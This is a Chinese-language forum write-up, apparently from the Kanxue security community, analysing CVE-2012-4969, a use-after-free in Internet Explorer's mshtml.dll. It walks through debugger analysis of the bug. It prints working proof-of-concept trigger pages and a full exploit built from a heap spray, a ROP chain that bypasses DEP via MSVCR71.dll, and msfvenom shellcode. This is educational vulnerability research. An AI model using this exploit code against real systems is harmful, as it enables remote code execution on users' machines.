UAF之CVE-2012-4969漏洞分析

资讯 作者:看雪学院 2021-05-11 23:00:16 阅读:458
本文为看雪论坛精华文章
看雪论坛作者ID:mb_uvhwamsn




一、漏洞信息




1. 漏洞简述


漏洞编号:CVE-2012-4969

漏洞类型:UAF

漏洞影响:远程代码执行

CVSS分数:9.3

概述:mshtml.dll的CMshtmlEd :: Exec()函数将CMshtmlEd对象释放后,又再次使用相同的内存,从而导致释放后使用的情况。

2. 漏洞影响


Internet Explorer 6 至 9

3. 解决方案


MS12-063
http://go.microsoft.com/fwlink/?linkid=255505


二、漏洞复现




1. 环境搭建


* 靶机环境版本
win7 sp1 x86

* 靶机配置

IE 8

2. 复现过程


使用metastploit模块
https://www.rapid7.com/db/modules/exploit/windows/browser/ie_execcommand_uaf/

获取poc1,LLmya.html:
<html><body>    <script>        var arrr = new Array();        arrr[0] = window.document.createElement("img");        arrr[0]["src"] = "E";</script>    <iframe src="./UGuQTe.html"></iframe></body></html>

poc2,UGuQTe.html,两个文件保存在同一个目录下。
<HTML>  <script>    function funcB() {      document.execCommand("selectAll");    };     function funcA() {      document.write("O");      parent.arrr[0].src = "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH";    }</script>  <body onload='funcB();' onselect='funcA()'>    <div contenteditable='true'>      a    </div>  </body></HTML>

运行程序poc1,触发漏洞。



三、漏洞分析




1. 基本信息


漏洞文件:mshtml.dll

漏洞函数:mshtml!CMshtmlEd::Exec

漏洞对象:CMshtmlEd


2. 详细分析


(1) 漏洞函数分析


设置hpa,ust堆调试属性,使用windbg调试IE浏览器,执行poc1,漏洞触发。


查看edi的值:


查看函数调用堆栈:


IDA中反汇编函数CMshtmlEd::Exec,由于win7中打开了ASLR,所以只能靠地址的后两个字节定位漏洞触发点68b8503e

这里是edi地址引用错误,在函数中往前查看edi的赋值情况,edi只有一次赋值且为this指针(不排除中间函数更改edi的可能,需要动态调试验证)


在CMshtmlEd::Exec设置断点,单步执行查看edi的变化情况。
bp mshtml!CMshtmlEd::Exec

edi第一次赋值,查看堆的结构,得知edi指向CMshtmlEd实例的虚表。



继续执行到触发异常点,edi还是指向同一个地方,但是!heap -p -a edi已经没有输出了,说明edi指向的堆已经不存在,大概率为释放后重利用漏洞。


下一步查看CMshtmlEd实例的释放过程,先找到与CMshtmlEd类有关的函数。
x mshtml!CmshtmlEd::*


重点关注的函数:
CMshtmlEd::ReleaseCMshtmlEd::~CMshtmlE

不过析构函数一般是与free一起调用的,查看CMshtmlEd::~CMshtmlEd,发现由CMshtmlEd::Release调用,查看release,有一处跳转执行free,所以就在CMshtmlEd::Release下断点。



0:005> bp mshtml!CMshtmlEd::Exec    //漏洞函数0:005> g0:005> bp mshtml!CMshtmlEd::Release

运行到漏洞函数CMshtmlEd::Exec时设置CMshtmlEd::Release断点,第一次执行到Release函数没有跳转执行free,第二次执行时调用了free函数。



查看HeapFree函数的参数,第三个为this指针08178f78。


继续执行之后就触发了异常,同时edi也是08178f78,与被free掉的this指针相同,说明this指针在被释放后了又进行引用导致UAF漏洞。


那么,CMshtmlEd::Release的调用在漏洞函数CMshtmlEd::Exec哪里执行呢,查看CMshtmlEd::Exec,在漏洞触发点mov edi, dword ptr [edi+8]之前存在一个函数CCommand::Exec,需要使用edi指针,为什么执行之后就忽然edi指向的实例不存在了?


执行CCommamd::Exec之前查看edi。


执行之后,edi指向的this指针已经被free掉了,之后执行mov edi, dword ptr [edi+8],导致异常。


验证:执行到CMshtmlEd::Exec时下断点mshtml!CMshtmlEd::Releasemshtml!CCommand::Exec,程序先后在CCommand::ExecCMshtmlEd::Release断下,并执行了Heapfree函数,说明CCommand::Exec中释放了this指针。

(2) POC分析


windbg结合JavaScript调试,确定poc何处引发漏洞。

查看CMshtmlEd实例的构造和释放过程,在IDA中查看CMshtmlEd::CMshtmlEd的引用函数AddCommandTargetGetCommandTarget,都在分配了堆之后调用了CMshtmlEd的构造函数,所以关注构造函数就能直到堆的引用过程。
 
* AddCommandTarget函数
 

* GetCommandTarget函数
 

在构造函数和release函数下断点:
bp mshtml!CMshtmlEd::CMshtmlEdbp mshtml!CMshtmlEd::Release

执行funcB()时命中构造函数,查看函数参数this指针,这里由edx保存,堆为bb9af78。


继续执行第二次命中构造函数,创建堆9e52f78。


之后命中release,没有调用heapfree,然后执行funcA()


命中release,没有调用heapfree,又一次命中release,可以看到这里释放的堆为9e52f78。


然后引发了一个奇怪的异常,可能是由于JavaScript调试导致。


不过可以确定时funcA()引起的,write常常会触发对象释放,后面对arrr[0].src赋值是一个占位动作。



四、漏洞利用




1. 利用环境


* win7 sp1 x86

* jdk1.6,其中MSVCR71.dll模块没有开启ASLR。

* kali2.0


2. 利用过程


CMshtmlEd对象被释放后,继续调用了vtable中的 [vtable + 8]函数,如果能够构造个虚假的地址将vtable占位,即可试下uaf利用。poc中parent.arrr[0]赋值实现了占位,程序,虚表指针edi+8指向了0c0c0c08
 


接着运行程序,调用了[[edi]+8],我们要向控制0c0c0c08处写入ROP和shellcode。
 

Heap Spray,利用JavaScript String对象在内存中申请大量的堆块,堆一直占用直到地址0c0c0c0c,同时每一个分配的堆块结构sildecode+shellcode,sildecode为nop等滑板指令,劫持程序执行流到任何一个堆块(本例为0c0c0c0c)中都能够执行shellcode,在win7等开启了DEP和ASLR的系统,要构造ROP调用VirtualProtect以关闭dep,而且ROP位置要精准。
 
为了实现shellcode精准到内存中指定位置:堆的大小和内部结构要非常精确,可以使用js的heaplib库,本次分析使用手动构造堆块。堆块进行分配的时候,因为堆块对齐,低4位10000大小的地址不会变化。

举个例子,如果一个堆分配的低4位地址002c,那么其他堆的低位同为002c,只要以0x1000为单位进行构造堆块,那每个块结构机制都可轻易确定,如下图,low_offset固定,但high_offset不一定相同,当然每个shellcode块之间不能有空隙,不然会执行到0000的空隙字符。
 

堆喷射代码,block结构,filler填充0020到0c0c到的内存,nop继续填充满1000字节。


分配200MB的block,4字节bstr头适应js的string对象,最后以2个字节结尾。


<html><body>    <script>        var arrr = new Array();        arrr[0] = window.document.createElement("img");        arrr[0]["src"] = "E";        function alloc(len, str) {            while (str.length < len)                str += str;            return str.substr(0, (len - 6) / 2);        }        var block_size = 0x1000 / 2; //一页大小        var offset = (0x0c0c - 0x0020 - 4) / 2; // shellcode在块中的偏移        var filler = unescape("%u0c0c");        while (filler.length < offset) {            filler += filler;        }        filler = filler.substring(0, offset);         var shellcode = unescape("%u7546%u7a7a%u5379" + "%u6365%u7275%u7469" + "%u9079");// FuzzySecurity的ascii,仅仅作为标识         var nop = unescape("%u9090");        for (i = 0; i < block_size; i++) {            nop += unescape("%u9090");        }        nop = nop.substring(0, block_size - shellcode.length - filler.length);         var block = filler + shellcode + nop;        block = alloc(0x100000-0x10, block);        len_block = block.length;        heap_chunks = new Array();        for (i = 0; i < 150; i++) {            heap_chunks[i] = block.substr(0, block.length);        }</script>     <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe></body></html>

堆内存,90000为!peb的得到的进程堆基址,堆占用了99.46,每块大小为ffff0。


筛选大小为ffff0的堆块,可以看到每个堆块低位均为0020。


搜索shellcode "FuzzySecurity",可以看到每个shellcode间隔为1000,正好为我们构造的block,一部分内存已被block铺满,没有空隙。  
s -a 0x00000000 L?7fffffff "FuzzySecurity"


构造ROP
 
为了绕过win7的dep和ASLR,需要构造ROP调用VirtualProtect以关闭dep,win7浏览器会加载jdk1.6,其中有两个模块没有开启ASLR的模块,mona插件查询ROP。


自动生成ROP链,有问题需稍加修改,之后更改ROP以令程序执行call dword ptr [eax+8]时能够跳转到ROP,具体为迁移栈到0c0c0c0c。
!py mona rop -m "MSVCR71.dll, jp2ssv.dll" //rop chain generated with mona.py - www.corelan.bevar rop_gadgets = unescape(    "%u5b4f%u7c36" + // 0x7c365b4f : ,# POP EBX # POP EBP # RET [MSVCR71.dll]    "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx    "%u8b05%u7c34" + // 0x7c348b05: ,# XCHG EAX,ESP # RETN    "" + // #[---INFO:gadgets_to_set_ebp:---] :    "%u6d28%u7c35" + // 0x7c356d28 : ,# POP EBP # RETN [MSVCR71.dll]    "%u6d28%u7c35" + // 0x7c356d28 : ,# skip 4 bytes [MSVCR71.dll]    "" + // #[---INFO:gadgets_to_set_ebx:---] :    // "%u09cf%u7c36" + // 0x7c3609cf : ,# POP EBX # RETN [MSVCR71.dll]    // "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx    "" + // #[---INFO:gadgets_to_set_edx:---] :    "%u4f8e%u7c34" + // 0x7c344f8e : ,# POP EDX # RETN [MSVCR71.dll]    "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx    "" + // #[---INFO:gadgets_to_set_ecx:---] :    "%u8ab2%u7c35" + // 0x7c358ab2 : ,# POP ECX # RETN [MSVCR71.dll]    "%uf2a1%u7c38" + // 0x7c38f2a1 : ,# &Writable location [MSVCR71.dll]    "" + // #[---INFO:gadgets_to_set_edi:---] :    "%ue239%u7c36" + // 0x7c36e239 : ,# POP EDI # RETN [MSVCR71.dll]    "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]    "" + // #[---INFO:gadgets_to_set_esi:---] :    "%uf8f8%u7c34" + // 0x7c34f8f8 : ,# POP ESI # RETN [MSVCR71.dll]    "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]    "%u6747%u7c37" + // 0x7c376747 : ,# POP EAX # RETN [MSVCR71.dll]    "%ua151%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]    "" + // #[---INFO:pushad:---] :    "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]    "" + // #[---INFO:extras:---] :    "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]"");

kali生成shellcode,以js小端序输出。
kali@kali:~$ msfvenom -p windows/messagebox -f js_le[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-] No arch selected, selecting arch: x86 from the payloadNo encoder specified, outputting raw payloadPayload size: 272 bytesFinal size of js_le file: 816 bytes%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855

最终exploit:
<html><body>    <script>        var arrr = new Array();        arrr[0] = window.document.createElement("img");        arrr[0]["src"] = "E";         function alloc(len, str) {            while (str.length < len)                str += str;            return str.substr(0, (len - 6) / 2);        }        var block_size = 0x1000 / 2; //一页大小        var offset = (0x0c0c - 0x0020 - 4) / 2;        var filler = unescape("%u0c0c");        while (filler.length < offset) {            filler += filler;        }        filler = filler.substring(0, offset);         // msfvenom -p windows/messagebox -f js_le        var shellcode = unescape("%uebd9%ud99b%u2474%u31f4%ub2d2%u3177%u64c9%u718b%u8b30%u0c76%u768b%u8b1c%u0846%u7e8b%u8b20%u3836%u184f%uf375%u0159%uffd1%u60e1%u6c8b%u2424%u458b%u8b3c%u2854%u0178%u8bea%u184a%u5a8b%u0120%ue3eb%u4934%u348b%u018b%u31ee%u31ff%ufcc0%u84ac%u74c0%uc107%u0dcf%uc701%uf4eb%u7c3b%u2824%ue175%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u89e8%u2444%u611c%ub2c3%u2908%u89d4%u89e5%u68c2%u4e8e%uec0e%ue852%uff9f%uffff%u4589%ubb04%ud87e%u73e2%u1c87%u5224%u8ee8%uffff%u89ff%u0845%u6c68%u206c%u6841%u3233%u642e%u7568%u6573%u3072%u88db%u245c%u890a%u56e6%u55ff%u8904%u50c2%ua8bb%u4da2%u87bc%u241c%ue852%uff5f%uffff%u6f68%u5878%u6820%u6761%u4265%u4d68%u7365%u3173%u88db%u245c%u890a%u68e3%u2058%u2020%u4d68%u4653%u6821%u6f72%u206d%u6f68%u202c%u6866%u6548%u6c6c%uc931%u4c88%u1024%ue189%ud231%u5352%u5251%ud0ff%uc031%uff50%u0855");         //rop chain generated with mona.py - www.corelan.be        var rop_gadgets = unescape(            "%u5b4f%u7c36" + // 0x7c365b4f : ,# POP EBX # POP EBP # RET [MSVCR71.dll]            "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx            "%u8b05%u7c34" + // 0x7c348b05: ,# XCHG EAX,ESP # RETN            "" + // #[---INFO:gadgets_to_set_ebp:---] :            "%u6d28%u7c35" + // 0x7c356d28 : ,# POP EBP # RETN [MSVCR71.dll]            "%u6d28%u7c35" + // 0x7c356d28 : ,# skip 4 bytes [MSVCR71.dll]            "" + // #[---INFO:gadgets_to_set_ebx:---] :            // "%u09cf%u7c36" + // 0x7c3609cf : ,# POP EBX # RETN [MSVCR71.dll]            // "%u0201%u0000" + // 0x00000201 : ,# 0x00000201-> ebx            "" + // #[---INFO:gadgets_to_set_edx:---] :            "%u4f8e%u7c34" + // 0x7c344f8e : ,# POP EDX # RETN [MSVCR71.dll]            "%u0040%u0000" + // 0x00000040 : ,# 0x00000040-> edx            "" + // #[---INFO:gadgets_to_set_ecx:---] :            "%u8ab2%u7c35" + // 0x7c358ab2 : ,# POP ECX # RETN [MSVCR71.dll]            "%uf2a1%u7c38" + // 0x7c38f2a1 : ,# &Writable location [MSVCR71.dll]            "" + // #[---INFO:gadgets_to_set_edi:---] :            "%ue239%u7c36" + // 0x7c36e239 : ,# POP EDI # RETN [MSVCR71.dll]            "%ud202%u7c34" + // 0x7c34d202 : ,# RETN (ROP NOP) [MSVCR71.dll]            "" + // #[---INFO:gadgets_to_set_esi:---] :            "%uf8f8%u7c34" + // 0x7c34f8f8 : ,# POP ESI # RETN [MSVCR71.dll]            "%u15a2%u7c34" + // 0x7c3415a2 : ,# JMP [EAX] [MSVCR71.dll]            "%u6747%u7c37" + // 0x7c376747 : ,# POP EAX # RETN [MSVCR71.dll]            "%ua151%u7c37" + // 0x7c37a140 : ,# ptr to &VirtualProtect() [IAT MSVCR71.dll]            "" + // #[---INFO:pushad:---] :            "%u8c81%u7c37" + // 0x7c378c81 : ,# PUSHAD # ADD AL,0EF # RETN [MSVCR71.dll]            "" + // #[---INFO:extras:---] :            "%u5c30%u7c34" + // 0x7c345c30 : ,# ptr to 'push esp # ret ' [MSVCR71.dll]            "");        var nop = unescape("%u9090%u9090%u9090%u9090%u9090%u9090%u9090%u9090");        rop_gadgets += nop;         for (i = 0; i < block_size; i++)            nop += unescape("%u9090");        nop = nop.substring(0, block_size - rop_gadgets.length - shellcode.length - filler.length);         var block = filler + rop_gadgets + shellcode + nop;        block = alloc(0xfffe0, block);//1MB堆内存        len_block = block.length;        heap_chunks = new Array();        for (i = 0; i < 150; i++)            heap_chunks[i] = block.substr(0, block.length);    </script>    <iframe src="../hpIpD0pjgv/UGuQTe.html"></iframe></body></html>



五、参考文献




1. https://www.anquanke.com/post/id/85592

2. https://www.52pojie.cn/thread-596064-1-1.html

3. https://blog.csdn.net/qs_hud/article/details/9821735

 




看雪ID:mb_uvhwamsn

https://bbs.pediy.com/user-home-913279.htm

  *本文由看雪论坛 mb_uvhwamsn  原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!



# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

在线申请SSL证书行业最低 =>立即申请

[广告]赞助链接:

关注数据与安全,洞悉企业级服务市场:https://www.ijiandao.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

#
公众号 关注KnowSafe微信公众号
随时掌握互联网精彩
赞助链接